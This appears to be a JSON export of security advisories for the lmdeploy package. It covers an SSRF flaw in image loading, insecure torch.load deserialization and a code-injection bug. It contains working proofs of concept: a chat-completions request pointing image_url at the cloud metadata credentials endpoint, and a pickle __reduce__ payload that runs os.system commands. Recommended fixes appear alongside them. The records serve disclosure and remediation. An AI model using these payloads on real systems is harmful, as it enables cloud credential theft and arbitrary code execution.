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has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading","description":"## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -\u003e Image.Image:\n    # ...\n    if image_url.startswith('http'):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n╔═══════════════════════════════════════════════════════════════════════╗\n║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║\n╚═══════════════════════════════════════════════════════════════════════╝\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n✅ SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),\n    ipaddress.ip_network('10.0.0.0/8'),\n    ipaddress.ip_network('172.16.0.0/12'),\n    ipaddress.ip_network('192.168.0.0/16'),\n    ipaddress.ip_network('169.254.0.0/16'),\n]\n\ndef is_safe_url(url: str) -\u003e bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in ('http', 'https'):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security's research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-21T15:04:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq","https://nvd.nist.gov/vuln/detail/CVE-2026-33626","https://github.com/InternLM/lmdeploy/pull/4447","https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626","https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3","https://github.com/advisories/GHSA-6w67-hwm5-92mq"],"source_kind":"github","identifiers":["GHSA-6w67-hwm5-92mq","CVE-2026-33626"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-21T16:00:08.947Z","updated_at":"2026-05-03T20:00:14.846Z","epss_percentage":0.02924,"epss_percentile":0.86453,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dzY3LWh3bTUtOTJtcc4ABVgm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dzY3LWh3bTUtOTJtcc4ABVgm","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.12.2"}],"purl":"pkg:pypi/lmdeploy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dzY3LWh3bTUtOTJtcc4ABVgm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc","url":"https://github.com/advisories/GHSA-9pf3-7rrr-x5jh","title":"lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()","description":"## Summary\n\nAn insecure deserialization vulnerability exists in lmdeploy where `torch.load()` is called without the `weights_only=True` parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious `.bin` or `.pt` model file.\n\n\n**CWE:** CWE-502 - Deserialization of Untrusted Data\n\n---\n\n## Details\n\nSeveral locations in lmdeploy use `torch.load()` without the recommended `weights_only=True` security parameter. PyTorch's `torch.load()` uses Python's pickle module internally, which can execute arbitrary code during deserialization.\n\n### Vulnerable Locations\n\n**1. `lmdeploy/vl/model/utils.py` (Line 22)**\n\n```python\ndef load_weight_ckpt(ckpt: str) -\u003e Dict[str, torch.Tensor]:\n    \"\"\"Load checkpoint.\"\"\"\n    if ckpt.endswith('.safetensors'):\n        return load_file(ckpt)  # Safe - uses safetensors\n    else:\n        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True\n```\n\n**2. `lmdeploy/turbomind/deploy/loader.py` (Line 122)**\n\n```python\nclass PytorchLoader(BaseLoader):\n    def items(self):\n        params = defaultdict(dict)\n        for shard in self.shards:\n            misc = {}\n            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE\n```\n\n**Additional vulnerable locations:**\n- `lmdeploy/lite/apis/kv_qparams.py:129-130`\n- `lmdeploy/lite/apis/smooth_quant.py:61`\n- `lmdeploy/lite/apis/auto_awq.py:101`\n- `lmdeploy/lite/apis/get_small_sharded_hf.py:41`\n\n### Note: Secure Pattern Already Exists\n\nThe codebase already uses the secure pattern in one location:\n\n```python\n# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103\nstate = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure\n```\n\nThis shows the fix is already known and can be applied consistently across the codebase.\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Checkpoint File\n\nSave this as `create_malicious_checkpoint.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a malicious PyTorch checkpoint that executes code when loaded.\n\"\"\"\nimport pickle\nimport os\n\nclass MaliciousPayload:\n    \"\"\"Executes arbitrary code during pickle deserialization.\"\"\"\n    \n    def __init__(self, command):\n        self.command = command\n    \n    def __reduce__(self):\n        # This is called during unpickling - returns (callable, args)\n        return (os.system, (self.command,))\n\ndef create_malicious_checkpoint(output_path, command):\n    \"\"\"Create a malicious checkpoint file.\"\"\"\n    malicious_state_dict = {\n        'model.layer.weight': MaliciousPayload(command),\n        'config': {'hidden_size': 768}\n    }\n    \n    with open(output_path, 'wb') as f:\n        pickle.dump(malicious_state_dict, f)\n    \n    print(f\"[+] Created malicious checkpoint: {output_path}\")\n\nif __name__ == \"__main__\":\n    os.makedirs(\"malicious_model\", exist_ok=True)\n    create_malicious_checkpoint(\n        \"malicious_model/pytorch_model.bin\",\n        \"echo '[PoC] Arbitrary code executed! - RCE confirmed'\"\n    )\n```\n\n### Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)\n\nSave this as `exploit.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDemonstrates the vulnerability by loading the malicious checkpoint.\nThis simulates what happens when lmdeploy loads an untrusted model.\n\"\"\"\nimport pickle\n\ndef unsafe_load(path):\n    \"\"\"Simulates torch.load() without weights_only=True.\"\"\"\n    # torch.load() uses pickle internally, so this is equivalent\n    with open(path, 'rb') as f:\n        return pickle.load(f)\n\nif __name__ == \"__main__\":\n    print(\"[*] Loading malicious checkpoint...\")\n    print(\"[*] This simulates: torch.load(ckpt) in lmdeploy\")\n    print(\"-\" * 50)\n    \n    result = unsafe_load(\"malicious_model/pytorch_model.bin\")\n    \n    print(\"-\" * 50)\n    print(f\"[!] Checkpoint loaded. Keys: {list(result.keys())}\")\n    print(\"[!] If you see the PoC message above, RCE is confirmed!\")\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Create the malicious checkpoint\npython create_malicious_checkpoint.py\n\n# Exploit - triggers code execution\npython exploit.py\n```\n\n### Expected Output\n\n```\n[+] Created malicious checkpoint: malicious_model/pytorch_model.bin\n[*] Loading malicious checkpoint...\n[*] This simulates: torch.load(ckpt) in lmdeploy\n--------------------------------------------------\n[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!\n--------------------------------------------------\n[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']\n[!] If you see the PoC message above, RCE is confirmed!\n```\n\nThe `[PoC] Arbitrary code executed!` message proves that arbitrary shell commands run during deserialization.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All users** who load PyTorch model files (`.bin`, `.pt`) from untrusted sources\n- This includes models downloaded from HuggingFace, ModelScope, or shared by third parties\n\n### Attack Scenario\n\n1. Attacker creates a malicious model file (e.g., `pytorch_model.bin`) containing a pickle payload\n2. Attacker distributes it as a \"fine-tuned model\" on model sharing platforms or directly to victims\n3. Victim downloads and loads the model using lmdeploy\n4. Malicious code executes with the victim's privileges\n\n### Potential Consequences\n\n- **Remote Code Execution (RCE)** - Full system compromise\n- **Data theft** - Access to sensitive files, credentials, API keys\n- **Lateral movement** - Pivot to other systems in cloud environments\n- **Cryptomining or ransomware** - Malware deployment\n\n---\n\n## Recommended Fix\n\nAdd `weights_only=True` to all `torch.load()` calls:\n\n```diff\n# lmdeploy/vl/model/utils.py:22\n- return torch.load(ckpt)\n+ return torch.load(ckpt, weights_only=True)\n\n# lmdeploy/turbomind/deploy/loader.py:122\n- tmp = torch.load(shard, map_location='cpu')\n+ tmp = torch.load(shard, map_location='cpu', weights_only=True)\n\n# Apply the same pattern to:\n# - lmdeploy/lite/apis/kv_qparams.py:129-130\n# - lmdeploy/lite/apis/smooth_quant.py:61\n# - lmdeploy/lite/apis/auto_awq.py:101\n# - lmdeploy/lite/apis/get_small_sharded_hf.py:41\n```\n\nAlternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.\n\n---\n\n## Resources\n\n### Official PyTorch Security Documentation\n\n- **[PyTorch torch.load() Documentation](https://pytorch.org/docs/stable/generated/torch.load.html)**\n  \n  \u003e *\"torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source.\"*\n\n### Related CVEs\n\n| CVE | Description | CVSS |\n|-----|-------------|------|\n| [CVE-2025-32434](https://nvd.nist.gov/vuln/detail/CVE-2025-32434) | PyTorch `torch.load()` RCE vulnerability | **9.3 Critical** |\n| [CVE-2024-5452](https://nvd.nist.gov/vuln/detail/CVE-2024-5452) | PyTorch Lightning insecure deserialization | **8.8 High** |\n\n### Additional Resources\n\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [Trail of Bits: Exploiting ML Pickle Files](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n- [Rapid7: Attackers Weaponizing AI Models](https://www.rapid7.com/blog/post/2024/02/06/attackers-are-weaponizing-ai-model-files/)\n\n---\n\nThank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-26T17:34:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9pf3-7rrr-x5jh","https://github.com/InternLM/lmdeploy/commit/eb04b4281c5784a5cff5ea639c8f96b33b3ae5ee","https://nvd.nist.gov/vuln/detail/CVE-2025-67729","https://github.com/advisories/GHSA-9pf3-7rrr-x5jh"],"source_kind":"github","identifiers":["GHSA-9pf3-7rrr-x5jh","CVE-2025-67729"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-26T18:00:07.621Z","updated_at":"2026-04-28T13:02:05.007Z","epss_percentage":0.00111,"epss_percentile":0.29179,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003c= 0.11"}],"purl":"pkg:pypi/lmdeploy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0","url":"https://github.com/advisories/GHSA-jfvg-qm4p-473x","title":"InternLM LMDeploy code injection vulnerability","description":"A vulnerability was found in InternLM LMDeploy up to 0.7.1. It has been declared as critical. Affected by this vulnerability is the function Open of the file lmdeploy/docs/en/conf.py. The manipulation leads to code injection. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-03T18:30:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-3163","https://github.com/InternLM/lmdeploy/issues/3254","https://github.com/InternLM/lmdeploy/issues/3254#issue-2918865448","https://vuldb.com/?ctiid.303109","https://vuldb.com/?id.303109","https://vuldb.com/?submit.542527","https://github.com/advisories/GHSA-jfvg-qm4p-473x"],"source_kind":"github","identifiers":["GHSA-jfvg-qm4p-473x","CVE-2025-3163"],"repository_url":"https://github.com/InternLM/lmdeploy","blast_radius":1.4449439791871097,"created_at":"2025-04-23T20:09:30.833Z","updated_at":"2026-04-27T14:03:29.871Z","epss_percentage":0.0011,"epss_percentile":0.29478,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.7.1"}],"purl":"pkg:pypi/lmdeploy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03dmM1LW1qd3AtYzhmcc4ABGYw","url":"https://github.com/advisories/GHSA-7vc5-mjwp-c8fq","title":"LMDeploy Improper Input Validation Vulnerability","description":"A vulnerability was found in InternLM LMDeploy up to 0.7.1. It has been classified as critical. Affected is the function load_weight_ckpt of the file lmdeploy/lmdeploy/vl/model/utils.py of the component PT File Handler. The manipulation leads to deserialization. Attacking locally is a requirement. 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